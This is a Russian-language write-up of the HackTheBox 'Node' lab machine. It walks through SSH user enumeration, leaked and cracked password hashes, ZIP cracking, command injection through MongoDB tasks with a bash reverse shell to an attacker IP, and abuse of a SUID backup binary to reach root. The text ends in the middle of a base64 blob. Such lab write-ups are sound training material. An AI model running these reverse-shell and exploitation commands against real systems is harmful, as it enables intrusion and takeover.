> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-medium/node-hackthebox-writeup.md).

# Разбор HackTheBox Node

Разбор машины Node HackTheBox Medium на Linux, охватывающий утечку информации, перечисление API, взлом хэшей, взлом ZIP-файла, с практическим перечислением, эксплуатацией, закреплением и повышением привил

{% embed url="<https://app.hackthebox.com/machines/Node>" %}

{% hint style="warning" %}
**Навыки:**

* Утечка информации
* Перечисление API
* Взлом хэшей
* Взлом ZIP-файла
* Скачивание резервной копии — сохранённые учётные данные
* Перечисление MongoDB
* Инъекция в задачу Mongo — инъекция команд (переключение на другого пользователя)
* Эксплуатация SUID-резервного бинарника — динамический анализ
  {% endhint %}

## Разведка

**Настройка рабочей среды:**

Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3d6450df84df022500bd9c52160d1173778b26a5%2Fimage%20(813).png?alt=media" alt=""><figcaption></figcaption></figure>

**Проверка подключения к VPN**

Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b3022c6e7fe219af5fe4e46d38ead00f7a4013f4%2Fimage%20(814).png?alt=media" alt=""><figcaption></figcaption></figure>

**Обнаружение открытых портов с помощью Nmap:**

Перечислите открытые порты и экспортируйте результаты в файл "allPorts" в каталоге Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.58 -oG allPorts
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f7f38e2bcf0bdaca8164b3d6b8c0e30496186158%2Fimage%20(815).png?alt=media" alt=""><figcaption></figcaption></figure>

/*/Анализ открытых портов с extractPorts (22.3000) //*

Использование функции extractPorts для краткого отображения открытых портов и копирования их в буфер обмена.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f0223db9b58bb2559743d0a80b3f73d64178f176%2Fimage%20(816).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Сканирование версий портов с помощью Nmap:**

Используйте Nmap для сканирования версий служб и сохраните вывод в файл "targeted":

```bash
nmap -sCV -p22,3000 10.10.10.58 -oN targeted
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-728828e2e46e7a13e7ff38f94488f5ef8d4b0dc3%2Fimage%20(817).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Порт 22 — SSH**

Мы отмечаем, что версия уязвима к перечислению пользователей, поскольку она ниже версии 7.7. Это позволяет попробовать список пользователей.

Используя `searchsploit` чтобы найти эксплойт

```bash
searchsploit -m linux/remote/45939.py
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8a3da6bd4ba640c1cb962818e374f300dab34243%2Fimage%20(818).png?alt=media" alt=""><figcaption></figcaption></figure>

Мы используем этот эксплойт, чтобы проверить, является ли пользователь действительным:

```bash
python2.7 45939.py 10.10.10.58 root 2>/dev/null
python2.7 45939.py 10.10.10.58 pepito 2>/dev/null
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7f99ea9527a3529e7cecbe2ebe42af51f5e18259%2Fimage%20(834).png?alt=media" alt=""><figcaption></figcaption></figure>

## Порт 3000 — HTTP

Мы находим нескольких потенциальных пользователей: `tom`, `mark`, `rastating`.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e109cd73e1febddbe7922111e857575065513b01%2Fimage%20(819).png?alt=media" alt=""><figcaption></figcaption></figure>

Перечисление SSH с помощью `45939.py` для проверки пользователей:

```bash
python2.7 45939.py 10.10.10.58 tom 2>/dev/null
python2.7 45939.py 10.10.10.58 mark 2>/dev/null
python2.7 45939.py 10.10.10.58 rastating 2>/dev/null
```

Мы отмечаем, что `tom` и `mark` являются действительными пользователями.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a9b44dd75f873e755d897c098929846fe55ea84c%2Fimage%20(835).png?alt=media" alt=""><figcaption></figcaption></figure>

### Список каталогов:

Мы используем `gobuster` для перечисления директорий на порту 3000:

```bash
gobuster dir -u http://10.10.10.58:3000/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 --exclude-length 3861
```

Никакой интересной информации найдено не было. Однако, исследуя сетевые запросы в Firefox, мы находим `последний` файл, который вызывает API.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-06807a8b104d60e2ce99ccd0ee92b120bfbd5925%2Fimage%20(820).png?alt=media" alt=""><figcaption></figcaption></figure>

### Исследование API:

API содержит `/users` маршрут, который возвращает конфиденциальную информацию, включая хэши паролей для нескольких пользователей:

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f88eb3485eebee4313dedefab7db2d7f6b472365%2Fimage%20(821).png?alt=media" alt=""><figcaption></figcaption></figure>

* `myP14ceAdm1nAcc0uNT` : `dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af`
* `tom` : `f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240`
* `mark` : `de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73`
* `rastating` : `5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0`

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4c06bb6ab044aa7047d72833bc98adeb3a6ac096%2Fimage%20(822).png?alt=media" alt=""><figcaption></figcaption></figure>

### Взлом паролей:

Мы используем `crackstation` для взлома паролей пользователей.

{% embed url="<https://crackstation.net/>" %}

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d23b5ee470cc70e0aa6e39235cf72cb6e4f9ab20%2Fimage%20(823).png?alt=media" alt=""><figcaption></figcaption></figure>

Расшифрованные пароли следующие:

* `myP14ceAdm1nAcc0uNT` : `manchester`
* `tom`: `spongebob`
* `mark`: `snowflake`

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d08b5cbc12dba2bfeed1677fc82ff11b12200842%2Fimage%20(824).png?alt=media" alt=""><figcaption></figcaption></figure>

Нам удаётся подключиться с пользователем `myP14ceAdm1nAcc0uNT` в административной панели.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-be7257781c669d9aaed59a1b397a230e49033d0b%2Fimage%20(826).png?alt=media" alt=""><figcaption></figcaption></figure>

### Скачивание резервной копии:

Эта `myP14ceAdm1nAcc0uNT` пользователь позволяет нам скачать файл резервной копии.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9d594e0036f1b5a6a3e62d31ebd224bdcce7be75%2Fimage%20(827).png?alt=media" alt=""><figcaption></figcaption></figure>

Скачанный файл содержит строку Base64.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c373a9ef2d0049e6f0bf3d227fc5df7ce5f7b59e%2Fimage%20(828).png?alt=media" alt=""><figcaption></figcaption></figure>

Мы декодируем его в ZIP-файл:

```bash
cat myplace.backup | base64 -d > myplace.zip
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-50f5a245da043b2ba00ead6cfde8c43bc8e713b5%2Fimage%20(829).png?alt=media" alt=""><figcaption></figcaption></figure>

### Брутфорс ZIP-файла:

**Извлечь хэш с помощью `zip2john`**:

Поэтому мы используем zip2john, чтобы извлечь хэш

```bash
zip2john myplace.zip > hash
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e5217cc3a4231bbfe17263a6ad72108f7d1c2a0f%2Fimage%20(831).png?alt=media" alt=""><figcaption></figcaption></figure>

**Подбор пароля с помощью `john`**:

```bash
john -w:/usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt hash
```

**Результат**: Пароль найден - `magicword`

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4b41b1a155580db056f06be86ecb2913b3a9c5fd%2Fimage%20(830).png?alt=media" alt=""><figcaption></figcaption></figure>

Нам удаётся распаковать ZIP-файл, который содержит резервную копию сайта в `/var` каталог.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a6df8fd8ab393e69b5823e14385857761e27b028%2Fimage%20(832).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-68032f8b3385385a60059072d4d943f4ae00f679%2Fimage%20(833).png?alt=media" alt=""><figcaption></figcaption></figure>

### Исследуя `app.js`:

В `app.js` файл, мы находим конфиденциальную информацию, включая пользователя (`mark`) и связанный пароль для доступа к базе данных:

* `mark` : `5AYRft73VtFpc84k`

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e6a10f66ac171180d8455caa34d782a14273e918%2Fimage%20(836).png?alt=media" alt=""><figcaption></figcaption></figure>

#### SSH-подключение с помощью `mark`:

Мы используем восстановленную информацию, чтобы подключиться по SSH под пользователем `mark`:

```bash
ssh mark@10.10.10.58 
```

Пароль: `5AYRft73VtFpc84k`

Теперь у нас есть доступ к целевой машине.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ab3f5872971d26448ccecc1476176cf5a391c37e%2Fimage%20(837).png?alt=media" alt=""><figcaption></figcaption></figure>

## Переключение на пользователя Tom

Теперь нам нужно переключиться на пользователя **tom**.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7e860b84f31a230d6f1bb6ca27d3db7f00e8cf8d%2Fimage%20(838).png?alt=media" alt=""><figcaption></figcaption></figure>

### Подключение к базе MongoDB

Посмотрев на текущие процессы, мы замечаем, что **tom** запускает `app.js` файл с Node.js.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-aecd3069b1794efe68ceead1294729d117b63a5a%2Fimage%20(840).png?alt=media" alt=""><figcaption></figcaption></figure>

Этот файл подключается к `scheduler` базе данных, используя те же учётные данные, что и пользователь **mark**.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-470b6cccacde2de11832874e5469136038cad6c8%2Fimage%20(841).png?alt=media" alt=""><figcaption></figcaption></figure>

Для доступа к базе данных мы используем **mark** учётные данные:

```bash
mongo --username mark --password 5AYRft73VtFpc84k --authenticationDatabase scheduler localhost:27017/scheduler
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cffc7eb1c4d2f9d0f23bb7914742bc5ba8bcb0ca%2Fimage%20(842).png?alt=media" alt=""><figcaption></figcaption></figure>

### Обратная оболочка MongoDB

Эта `app.js` скрипт выполняет системные команды из документов MongoDB (через `doc.cmd`). Это представляет критическую уязвимость, поскольку можно внедрять и выполнять произвольные команды.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5bd17dba05d12847570ce940223a0322b85a2708%2Fimage%20(843).png?alt=media" alt=""><figcaption></figcaption></figure>

Чтобы подтвердить, что мы можем выполнять команды через MongoDB

**Создайте локальный веб-сервер**

На атакующей машине запустите веб-сервер, чтобы наблюдать запросы:

```bash
python3 -m http.server 80
```

**Вставьте тестовую команду в `задачи` коллекцию**

В MongoDB вставьте команду, которая выполняет HTTP-запрос к вашей атакующей машине

```bash
db.tasks.insert({  cmd: "curl http://10.10.14.30"})
```

**Наблюдайте за запросами**

Если вы видите запрос в логах веб-сервера, это подтверждает, что команды выполняются.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-30c6693db64e9323f5c5bd55cce4d54bb485d0ea%2Fimage%20(844).png?alt=media" alt=""><figcaption></figcaption></figure>

Запустите обратную оболочку.

мы слушаем на порту 443

```bash
nc -nlvp 443
```

#### Запустить обратную оболочку

**Настройте прослушиватель на порту 443** На атакующей машине:

```bash
nc -nlvp 443
```

**Вставьте команду обратной оболочки**

В MongoDB вставьте команду для установления обратной оболочки:

```bash
db.tasks.insert({  cmd: "bash -c 'bash -i >&/dev/tcp/10.10.14.30/443 0>&1'"})
```

**Успешное подключение** После выполнения команды вы получаете интерактивную оболочку на целевой машине под пользователем **tom**.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-05c62263fef0e9fc6ca8f2d279c12b45044db653%2Fimage%20(845).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Стабилизация терминала

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Флаг user.txt :)

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ae0047a72eb461382ed79349e0bc30668b4087a8%2Fimage%20(846).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## Повышение привилегий

### SUID-бинарник (backup)

Чтобы найти файлы с включённым битом SUID, используется следующая команда:

```bash
find / -perm -4000 2>/dev/null
```

Это позволяет нам найти бинарный файл под названием `backup`.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f6922b7592f3cf4098f90ff1c3ce0a0f30c4e33c%2Fimage%20(2694).png?alt=media" alt=""><figcaption></figcaption></figure>

Владелец бинарного файла — `root`, что означает, что он выполняется с привилегиями пользователя root.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6fcb0660850c1e58e8cef901fefeb0d47b831dfd%2Fimage%20(2695).png?alt=media" alt=""><figcaption></figcaption></figure>

Когда мы пытаемся запустить этот бинарный файл напрямую, ничего не происходит. Однако, тестируя разные варианты, мы обнаруживаем, что он принимает строку из трёх символов, разделённых пробелами, что показывает доступные функции:

```bash
/usr/local/bin/backup a d g
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-00176e6ae952d6c12ee2591674b1c71bc529b2d2%2Fimage%20(2696).png?alt=media" alt=""><figcaption></figcaption></figure>

Посмотрев на `app.js` файл, мы находим информацию об использовании бинарного файла, а также ключ, необходимый для его запуска. Ключ находится в верхней части файла.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-15ea3eb180eb20afb5065e5116da7d5531f1460f%2Fimage%20(2697).png?alt=media" alt=""><figcaption></figcaption></figure>

Чтобы использовать бинарный файл, нам нужно указать ключ, а затем путь к директории для сохранения.

`45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474`

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cd8425aa280b95d8263516507e2c1a635339b9eb%2Fimage%20(2698).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /root
```

Это генерирует вывод в Base64.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2d78f5c24e2fbd08a0ac7cde16882e7ee5e5a01a%2Fimage%20(2699).png?alt=media" alt=""><figcaption></figcaption></figure>

Вывод Base64 можно декодировать в `.zip` файл с помощью следующей команды:

{% code overflow="wrap" %}

```bash
echo "UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpSvYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZorY67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm3207EfD3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY/a4AZKO/GtVMULlrpbpIFqZ98zwmROFstmPl/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MMyU9L1CL2RRwm2QvbdD8PLWA/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate/Ut22WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd26PCuhmRUyNjEIBFx/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2/F+X/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJryLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg/RM71P5ldpCK70RemYniiNeluBfHwQLOxkDn/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmPaFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnictzNXUKzT905OFOcJwt7FbxyXk0z3FxD/tgtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBwACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==" | base64 -d > root.zip
```

{% endcode %}

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-add6eb228092d08995a4a22ec00be62184a234ed%2Fimage%20(2700).png?alt=media" alt=""><figcaption></figcaption></figure>

ZIP-файл защищён паролем. Мы используем найденный ранее пароль

* пароль: `magicword`

Однако `root.txt` файл, содержащийся в архиве, — это приманка (кроличья нора).

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-79d0d9d098154a4960f1ded8fe2d58fdf3a04e16%2Fimage%20(2701).png?alt=media" alt=""><figcaption></figcaption></figure>

### Подробный анализ с помощью `ltrace`

Используя `ltrace`, показывает, что бинарный файл сравнивает путь `/root` с тем, который был указан в аргументе. Если пути совпадают, он показывает мультяшного тролля.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4c9399086f5f711c882db95e7cc13bf7e3dc7b9b%2Fimage%20(2702).png?alt=media" alt=""><figcaption></figcaption></figure>

Чтобы обойти эту проверку, мы запускаем бинарный файл из root (`/`) запросив резервную копию `root`

```bash
/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 root
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f8e2ee2015d0e34119833bfc5a61210be94dc54f%2Fimage%20(2704).png?alt=media" alt=""><figcaption></figcaption></figure>

Новый релиз тоже в Base64. Декодируем его, чтобы получить финальное содержимое:

{% code overflow="wrap" %}

```bash
echo "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